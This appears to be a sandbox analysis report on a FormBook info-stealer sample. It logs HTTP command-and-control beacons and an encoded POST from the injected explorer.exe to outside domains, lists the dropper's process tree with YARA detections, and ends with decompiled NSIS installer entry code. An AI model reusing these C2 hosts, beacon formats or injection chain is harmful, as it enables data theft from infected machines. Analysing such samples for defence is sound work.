Nov 30, 2022 01:10:48.344644070 CET	156	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Nov 2022 00:10:48 GMT Server: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Accept-Ranges: bytes Connection: close Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 35 37 39 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 37 45 38 45 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 42 37 30 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 61 72 72 6f 77 2d 63 6f 6c 6f 72 3a 20 23 46 33 39 36 30 42 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 44 61 72 6b 53 68 61 64 6f 77 2d 43 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 20 7b 20 63 6f 6c 6f 72 3a 23 30 32 31 66 32 35 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 42 39 38 30 32 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 73 79 73 5f 63 70 61 6e 65 6c 2f 69 6d 61 67 65 73 2f 62 6f 74 74 6f 6d 62 6f 64 79 2e 6a 70 67 29 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 31 30 70 78 20 31 35 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 23 62 6f 64 79 2d 63 6f 6e 74 65 6e 74 20 70 20 7b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 Data Ascii: 1195<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html> <head> <title>579404 Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css"> body { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; background-color:#367E8E; scrollbar-base-color: #005B70; scrollbar-arrow-color: #F3960B; scrollbar-DarkShadow-Color: #000000; color: #FFFFFF;margin:0; } a { color:#021f25; text-decoration:none} h1 { font-size: 18px; color: #FB9802; padding-bottom: 10px; background-image: url(sys_cpanel/images/bottombody.jpg); background-repeat: repeat-x; padding:5px 0 10px 15px;margin:0; } #body-content p { padding-left: 25px; padding-right: 25px;
Nov 30, 2022 01:10:48.344672918 CET	157	IN	Data Raw: 20 20 20 20 20 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0a Data Ascii: line-height: 18px; padding-top: 5px; padding-bottom: 5px; } h2 { font-size: 14px; font-weight: bold; color: #FF9900; padding-left: 15px; } </style> </hea
Nov 30, 2022 01:10:48.344693899 CET	158	IN	Data Raw: 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: > </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49712	162.214.129.149	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 01:10:50.366888046 CET	158	OUT	GET /henz/?ChMxG4C=8TptbrIX6F4NxrWdTDNRTBReo0fMEuELv5cUeaX5N5UPFd9Hxy/eTVHt8QapNK2qZdoBzpjQ3MhBnX7XpU/ZSQN3PeXGVgYZcA==&8p08qr=2d0X HTTP/1.1 Host: www.afterdarksocial.club Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2022 01:10:50.533715010 CET	160	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Nov 2022 00:10:50 GMT Server: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Accept-Ranges: bytes Connection: close Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 35 37 39 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 37 45 38 45 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 42 37 30 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 61 72 72 6f 77 2d 63 6f 6c 6f 72 3a 20 23 46 33 39 36 30 42 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 44 61 72 6b 53 68 61 64 6f 77 2d 43 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 20 7b 20 63 6f 6c 6f 72 3a 23 30 32 31 66 32 35 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 42 39 38 30 32 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 73 79 73 5f 63 70 61 6e 65 6c 2f 69 6d 61 67 65 73 2f 62 6f 74 74 6f 6d 62 6f 64 79 2e 6a 70 67 29 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 31 30 70 78 20 31 35 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 23 62 6f 64 79 2d 63 6f 6e 74 65 6e 74 20 70 20 7b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 Data Ascii: 1195<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html> <head> <title>579404 Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css"> body { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; background-color:#367E8E; scrollbar-base-color: #005B70; scrollbar-arrow-color: #F3960B; scrollbar-DarkShadow-Color: #000000; color: #FFFFFF;margin:0; } a { color:#021f25; text-decoration:none} h1 { font-size: 18px; color: #FB9802; padding-bottom: 10px; background-image: url(sys_cpanel/images/bottombody.jpg); background-repeat: repeat-x; padding:5px 0 10px 15px;margin:0; } #body-content p { padding-left: 25px; padding-right: 25px;
Nov 30, 2022 01:10:50.533760071 CET	161	IN	Data Raw: 20 20 20 20 20 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0a Data Ascii: line-height: 18px; padding-top: 5px; padding-bottom: 5px; } h2 { font-size: 14px; font-weight: bold; color: #FF9900; padding-left: 15px; } </style> </hea
Nov 30, 2022 01:10:50.533793926 CET	161	IN	Data Raw: 3e 0a 20 20 20 20 57 65 62 4d 61 73 74 65 72 3c 2f 61 3e 2e 0a 3c 2f 70 3e 0a 3c 68 72 20 2f 3e 0a 0d 0a 65 39 0d 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 32 35 20 28 55 6e 69 78 29 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 2e 32 Data Ascii: > WebMaster</a>.</p><hr />e9<address>Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.afterdarksocial.club Port 80</address>... end content -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49713	155.159.61.221	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 01:10:55.949861050 CET	163	OUT	POST /henz/ HTTP/1.1 Host: www.patrickguarte.com Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.patrickguarte.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.patrickguarte.com/henz/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 43 68 4d 78 47 34 43 3d 30 72 56 75 73 4f 28 4a 6e 64 6d 42 33 79 67 33 33 31 6c 64 33 47 58 57 33 64 4a 4e 62 61 42 51 37 6e 44 43 46 6b 6d 33 43 67 48 48 37 53 4d 36 72 76 75 47 67 41 5a 47 68 32 57 50 62 49 58 34 56 56 72 4b 4f 62 34 41 51 6f 41 65 31 38 75 43 6e 67 55 4a 57 52 4a 34 28 75 4d 75 76 4c 64 48 79 56 4a 38 50 6c 4b 54 30 4b 6c 59 70 47 46 38 6c 5f 30 42 45 76 4e 37 78 77 7a 4c 6c 5f 4f 6b 72 45 32 69 66 6e 64 45 6b 6c 55 52 5a 57 34 74 65 6b 4e 33 67 53 6d 47 61 63 31 43 47 36 33 69 70 30 37 32 47 35 4c 44 57 56 55 44 4e 46 7e 47 49 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: ChMxG4C=0rVusO(JndmB3yg331ld3GXW3dJNbaBQ7nDCFkm3CgHH7SM6rvuGgAZGh2WPbIX4VVrKOb4AQoAe18uCngUJWRJ4(uMuvLdHyVJ8PlKT0KlYpGF8l_0BEvN7xwzLl_OkrE2ifndEklURZW4tekN3gSmGac1CG63ip072G5LDWVUDNF~GIA).
Nov 30, 2022 01:10:56.171799898 CET	163	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Nov 2022 00:10:56 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49714	155.159.61.221	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 01:10:58.301866055 CET	164	OUT	GET /henz/?ChMxG4C=5p9Ov6C7qce51hIp6D8A72je8vUJddN77lLEFw6Ufibk2yN56suG3zROnD+rS7baXFO6PfoGYvZY6sqA3kYBdz817Owqh44+wA==&8p08qr=2d0X HTTP/1.1 Host: www.patrickguarte.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2022 01:10:58.514065027 CET	164	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Nov 2022 00:10:58 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: qHpeBvr9cR.exePID: 5588, Parent PID: 3324

General

Target ID:	0
Start time:	01:09:00
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\qHpeBvr9cR.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\qHpeBvr9cR.exe
Imagebase:	0x400000
File size:	285325 bytes
MD5 hash:	F5BEA76FFAC05AFBE19274595801184E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: febcldoukq.exePID: 5816, Parent PID: 5588

General

Target ID:	1
Start time:	01:09:00
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\Temp\febcldoukq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef
Imagebase:	0xb10000
File size:	147968 bytes
MD5 hash:	96E050F99502FE7C52FD9B0F10202578
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 20%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: febcldoukq.exePID: 5828, Parent PID: 5816

General

Target ID:	2
Start time:	01:09:00
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\Temp\febcldoukq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef
Imagebase:	0xb10000
File size:	147968 bytes
MD5 hash:	96E050F99502FE7C52FD9B0F10202578
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3324, Parent PID: 5828

General

Target ID:	3
Start time:	01:09:06
Start date:	30/11/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff69bc80000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: autochk.exePID: 3624, Parent PID: 3324

General

Target ID:	4
Start time:	01:09:38
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\autochk.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\autochk.exe
Imagebase:	0xbd0000
File size:	871424 bytes
MD5 hash:	34236DB574405291498BCD13D20C42EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 5920, Parent PID: 3324

General

Target ID:	5
Start time:	01:09:44
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\netsh.exe
Imagebase:	0x1280000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: qHpeBvr9cR.exePID: 5588, Parent PID: 3324COMMON

Execution Graph

Execution Coverage:	15%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.9%
Total number of Nodes:	1272
Total number of Limit Nodes:	22

Executed Functions

Function 0040324F Relevance: 84.3, APIs: 26, Strings: 22, Instructions: 313
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			_entry_() {
				intOrPtr _t40;
				CHAR* _t44;
				char* _t47;
				signed int _t49;
				void* _t53;
				intOrPtr _t55;
				int _t56;
				signed int _t59;
				signed int _t60;
				int _t61;
				signed int _t63;
				signed int _t66;
				int _t83;
				void* _t87;
				void* _t99;
				intOrPtr* _t100;
				void* _t103;
				CHAR* _t108;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				void* _t113;
				signed int _t115;
				char* _t117;
				signed int _t118;
				void* _t120;
				void* _t121;
				char _t138;

				 *(_t121 + 0x1c) = 0;
				 *((intOrPtr*)(_t121 + 0x14)) = "Error writing temporary file. Make sure your temp folder is valid.";
				_t110 = 0;
				 *(_t121 + 0x18) = 0x20;
				SetErrorMode(0x8001); // executed
				if(GetVersion() != 6) {
					_t100 = E00406087(0);
					if(_t100 != 0) {
						 *_t100(0xc00);
					}
				}
				E0040601D("UXTHEME"); // executed
				E0040601D("USERENV"); // executed
				E0040601D("SETUPAPI"); // executed
				E00406087(0xd);
				_t40 = E00406087(0xb);
				 *0x423f84 = _t40;
				__imp__#17();
				__imp__OleInitialize(0); // executed
				 *0x424038 = _t40;
				SHGetFileInfoA(0x41f538, 0, _t121 + 0x34, 0x160, 0); // executed
				E00405CFB(0x423780, "NSIS Error");
				_t44 = GetCommandLineA();
				_t117 = "\"C:\\Users\\alfons\\Desktop\\qHpeBvr9cR.exe\"";
				E00405CFB(_t117, _t44);
				 *0x423f80 = GetModuleHandleA(0);
				_t47 = _t117;
